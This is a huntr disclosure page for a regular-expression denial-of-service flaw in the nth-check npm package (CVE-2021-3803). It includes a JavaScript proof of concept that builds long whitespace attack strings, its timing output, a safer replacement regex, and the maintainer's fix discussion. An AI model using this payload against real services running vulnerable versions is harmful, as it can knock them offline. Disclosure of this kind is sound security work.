huntr

Inefficient Regular Expression Complexity in fb55/nth-check

0

✓ Valid Reported on Sep 13th 2021

Description

I would like to report a Regular Expression Denial of Service (ReDoS) vulnerability in `nth-check`.
It allows cause a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\s*(?:([+-]?)\s*(\d+))?` with quantified overlapping adjacency and can be exploited with the following code.

Proof of Concept

```
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '2n' + ' '.repeat(i*10000)+"!";
    try {
        nthCheck.parse(attack_str)
    }
    catch(err) {
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time
    }
}
```

The Output

```
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
```

The Patch

Occurrences

TS parse.ts L4

CVE
CVE-2021-3803
(Published)

Vulnerability Type
CWE-1333: Inefficient Regular Expression Complexity

Severity
High (7.5)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

Yeting Li
@yetingli
unranked

Fixed by

Felix
@fb55
unranked

Chat with us

This report was seen 7,825 times.

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` a year ago

Yeting Li a year ago Researcher

I am willing to suggest that the maintainers replace the regex `/^([+-]?\d*n)?\s*(?:([+-]?)\s*(\d+))?$/` with the regex `/^([+-]?\d*n)?\s*(?:([+-])\s*)?(?:(\d+))?$/` . The two regexes semantics are equivalent, and the latter is safe.

Yeting Li submitted a **patch** a year ago

Felix validated this vulnerability a year ago

Yeting Li has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Felix a year ago Maintainer

Thanks for the report! I have opted to hand-roll parsing (https://github.com/fb55/nth-check/pull/9), as I am able to verify the behaviour, but don't fully understand its origin. (Why is parsing of a regular language not O(n)?)

Yeting Li a year ago Researcher

Hi Felix,

Nice to hear from you and thank you for your confirmation.

Regex engines differ, but most (e.g., the built-in regex engines in JS, Java and Python) will adopt `backtracking search` algorithms. Backtracking search algorithms can better support various grammatical extensions (e.g., lookarounds and backreferences). At the same time, they can also lead to potential Regular expression Denial of Service (ReDoS) attacks.

I don't want to shamelessly promote my own work but you could read my paper to learn more about ReDoS.

Best regards,
Yeting

Yeting Li a year ago Researcher

I'm glad to see you have a fix. By the way, my fix is to reduce the ambiguity of the regex to achieve anti-ReDoS.

Felix a year ago Maintainer

I have published `nth-check@2.0.1` with a fix.

Jamie Slome a year ago Admin

Awesome!

Are you able to confirm the fix via our platform (above)?

We will then be able to appropriately publish the CVE on your behalf! 📦

Felix marked this as fixed with commit **9894c1** a year ago

Felix has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

parse.ts#L4 has been validated ✓

Jamie Slome a year ago Admin

CVE published! 🎉

Yeting Li a year ago Researcher

Thanks.

Sign in to join this conversation